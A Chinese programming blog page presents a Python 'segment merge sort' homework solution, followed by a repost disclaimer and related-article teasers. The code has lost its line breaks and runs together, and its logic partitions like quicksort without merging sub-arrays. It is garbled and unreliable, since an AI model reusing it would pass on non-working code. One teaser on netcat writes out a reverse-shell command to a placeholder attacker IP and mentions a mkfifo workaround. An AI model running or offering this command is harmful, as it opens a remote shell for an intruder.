段合并排序算法(附代码)

文章目录

  • 前言
  • 一、题目
  • 二、代码
  • 总结


前言

学无止境,笔勤不辍。今天更新一道作业题好多人都被困住了,笔者也花了一些时间…后续会附上详细解释
使用的是python


一、题目

段合并排序算法:
将数组划分为n1/2个子数组,每个子数组有n1/2个元素。然后递归地对分割后的子数组进行排序,最后将所得到的个排好序的子数组合并排序。

二、代码

import mathdef n_sort_function(nums, start, end):if end - start == 1 and end != len(nums) - 1:return numsif end == len(nums) - 1 and start == end - 1:if nums[start] > nums[end]:nums[end], nums[start] = nums[start], nums[end]return numsflag = nums[start]nums.pop(start)i = start - 1j = startend = end - 1while j < end:if nums[j] < flag:i += 1nums[j], nums[i] = nums[i], nums[j]j += 1nums.insert(i + 1, flag)end = end + 1n_divided = int(math.sqrt(end - start))while start < end:if start+n_divided+1>end:n_sort_function(nums, start, end)else:n_sort_function(nums, start, start + n_divided)start += n_divided+1if __name__ == "__main__":nums = [113,22,2,2,2,4,7,11,8,6]s = 0
length_end = len(nums)
# 以下代码用于合并操作times =int(math.sqrt(length_end))all_times = times+int(math.sqrt(length_end-times*times))for i in range(all_times):n_sort_function(nums, s+i, length_end)n_sort_function(nums, s , length_end)print(nums)

总结

最近笔者有点忙…更新可能不太及时,希望大家见谅…

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/12316.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

高等代数复习:同构定理

文章目录 同构定理 本篇文章适合个人复习翻阅&#xff0c;不建议新手入门使用 同构定理 接下来我们要证明如下几个同构定理 定理&#xff08;线性映射同构定理&#xff09; 设 φ &#xff1a; V → V ′ \varphi&#xff1a;V\to V φ&#xff1a;V→V′ 是一个线性映射&…

RK3566(泰山派):3.1寸屏幕D310T9362V1SPEC触摸驱动(竖屏)

RK3566&#xff08;泰山派&#xff09;&#xff1a;3.1寸屏幕D310T9362V1SPEC触摸驱动&#xff08;竖屏&#xff09; 文章目录 RK3566&#xff08;泰山派&#xff09;&#xff1a;3.1寸屏幕D310T9362V1SPEC触摸驱动&#xff08;竖屏&#xff09;电路配置i2c1设备树创建驱动编写…

ScientificLinux/Centos/RedHat老版本离线安装gcc、g++记录

背景 最近有一台ScientificLinux6.3的机器需要使用gcc和g编译安装包&#xff0c; 因为在公司内网环境&#xff0c;而且软件仓库也停止维护&#xff0c;好在官方仓库中有老版本的归档目录&#xff0c; 在此记录下安装过程&#xff0c;centos和redhat也同样适用。 步骤 下载rp…

算法分析与设计复习__渐近+复杂度

算法v.s.程序: 程序 数据结构 算法&#xff1b; 1.时空复杂度T(n)/O(n)&#xff08;衡量一个算法的优劣&#xff09; 1.1最坏/最好/平均(所有输入等概出现)时间复杂度; 1.1.1 E.g.手算某算法&#xff08;冒泡排序&#xff09;程序段的T,O; 1.2算法的渐近表示&#xff1b; …

14030.ZynqMP配置vlan与ubuntu虚拟机(PC)进行通信

文章目录 1 场景描述2 zynqmp 开发板配置vlan2.1 配置内核2.2 配置vlan地址3 windows 配置网卡vlan标签3.1 网卡配置vlan标签3.2 开发板与windows进行ping连接4 ubuntu配置vlan4.1 ubuntu配置桥接,使用同样的物理网卡4.2 开发板ping 虚拟机5 VLAN的pcap与普通的pcap的区别1 场…

智慧安防系统:构建更安全的社区环境

随着科技的不断进步&#xff0c;人们的生活质量得到了显著提高。然而&#xff0c;与此同时&#xff0c;社会治安问题也日益凸显。为了维护社会的和谐稳定&#xff0c;提高人们的生活安全感&#xff0c;智慧安防系统应运而生。本文将为您详细介绍智慧安防系统的项目背景、需求分…

3D,点云平面拟合

文章目录 一、RANSAC平面拟合1、原理2、伪代码二、最小二乘平面拟合1、原理2、伪代码参考资料三维空间中,平面方程的一般表达式为: A x + B y + C z + D =

暗黑4可以搬砖吗?暗黑4怎么搬砖 搬砖攻略

暗黑4可以搬砖吗&#xff1f;暗黑4怎么搬砖 搬砖攻略 暗黑破坏神4属于是暴雪旗下一款经典游戏IP&#xff0c;在全世界有着广泛的玩家群体&#xff0c;更是在今年暴雪国服宣布回归之后&#xff0c;吸引了一大批新玩家加入。今天小编就为大家带来暗黑4的详细搬砖教程。 现在我们…

netcat工具无法使用 -e 参数

当在linux中使用netcat进行反向连接时&#xff0c; nc -e /bin/sh 攻击者的IP 端口 有时会报这种错误&#xff1a; 这说明此netcat不支持 -e 参数。 此时可以做如下更改&#xff1a; 使用mkfifo或mknod命令创建一个命名管道&#xff0c;然后使用cat命令读取管道中的内容&…

【多模态】30、Monkey | 支持大尺寸图像输入的多任务多模态大模型

文章目录 一、背景二、方法2.1 Enhancing Input Resolution2.2 Multi-level Description Generation2.3 Multi-task Training 三、效果3.1 Image Caption3.2 General VQA3.3 Scene Text-centric VQA3.4 Document-oriented VQA3.5 消融实验3.6 可视化 论文&#xff1a;Monkey : …

数据结构与算法-排序算法2-选择排序

目录 1.选择排序&#xff1a; 1.介绍&#xff1a; 2.动态图解 3.举例 4.小结选择排序规则 5.选择排序代码 6.运行时间 代码&#xff1a; 运行结果&#xff1a; 1.排序算法简介 排序也称为排序算法。排序是将一组数据依据指定的顺序进行排列的过程。 2.常见的排序算法…

国内好用的测试用例管理工具有哪些?

目前市面上的测试用例管理工具有很多&#xff0c;但由于针对的项目、领域、目标用户&#xff0c;功能也并不一致&#xff0c;所以选择一款适合的测试管理平台并不轻松。做好这件事&#xff0c;首先要需求明确你用测试管理工具干什么&#xff1f;最终想要达到什么目标&#xff1…

vue2人力资源项目8员工详情

页面结构 <template><div class"dashboard-container"><div class"app-container"><div class"edit-form"><el-form ref"userForm" label-width"220px"><!-- 姓名 部门 --><el-row…

【科研】常用的实验结果评价指标(2) —— MAE 是什么? !

了解MAE 提示&#xff1a;先说概念&#xff0c;后续再陆续上代码 文章目录 了解MAE前言一、MAE 基本概念1. MAE 是什么&#xff1f;2. MAE 的起源3. MAE 的计算公式 二、MAE的适用场景是什么&#xff1f;三、MAE 的劣势&#xff0c;或 不适用于那些场景或者数据&#xff1f;四、…

【Python】【应用】Python应用之如何操作WiFi之一——使用pywifi

&#x1f41a;作者简介&#xff1a;花神庙码农&#xff08;专注于Linux、WLAN、TCP/IP、Python等技术方向&#xff09;&#x1f433;博客主页&#xff1a;花神庙码农 &#xff0c;地址&#xff1a;https://blog.csdn.net/qxhgd&#x1f310;系列专栏&#xff1a;Python应用&…

Linux修炼之路之yum和vim编辑器

目录 一&#xff1a;Linux软件包管理器yum 二&#xff1a;vim编辑器 vim的三种模式及互相转换 命令模式 底行模式 三&#xff1a;普通用户的sudo指令(修改信任名单) 接下来的日子会顺顺利利&#xff0c;万事胜意&#xff0c;生活明朗-----------林辞忧 一&#xff1a…

我眼中的IT行业现状与未来趋势

我眼中的IT行业现状与未来趋势 *随着技术的不断进步&#xff0c;IT行业已成为推动全球经济和社会发展的关键力量。从云计算、大数据、人工智能到物联网、5G通信和区块链&#xff0c;这些技术正在重塑我们的生活和工作方式。 一、技术革新与行业应用 当前IT行业的技术革新涵盖…

c++编程(11)——string类的模拟实现

欢迎来到博主的专栏——c编程 博主ID&#xff1a;代码小豪 文章目录 前言string类的模拟实现string的成员对象构造、赋值、析构访问成员对象的接口访问字符串中的元素迭代器对字符序列的插入、删除元素操作mystring类的相关操作 mystring类的所有模拟实现以及测试案例 前言 本…

【已解决】 ‘Conv2d’ object has no attribute ‘register_full_backward_hook’

&#x1f60e; 作者介绍&#xff1a;我是程序员行者孙&#xff0c;一个热爱分享技术的制能工人。计算机本硕&#xff0c;人工制能研究生。公众号&#xff1a;AI Sun&#xff0c;视频号&#xff1a;AI-行者Sun &#x1f388; 本文专栏&#xff1a;本文收录于《AI实战中的各种bug…

(四十二)第 6 章 树和二叉树(树的二叉链表(孩子-兄弟)存储)

1. 背景说明 2. 示例代码 1) errorRecord.h // 记录错误宏定义头文件#ifndef ERROR_RECORD_H #define ERROR_RECORD_H#include <stdio.h> #include <string.h> #include <stdint.h>// 从文件路径中提取文件名 #define FILE_NAME(X) strrchr(X, \\) ? strrch…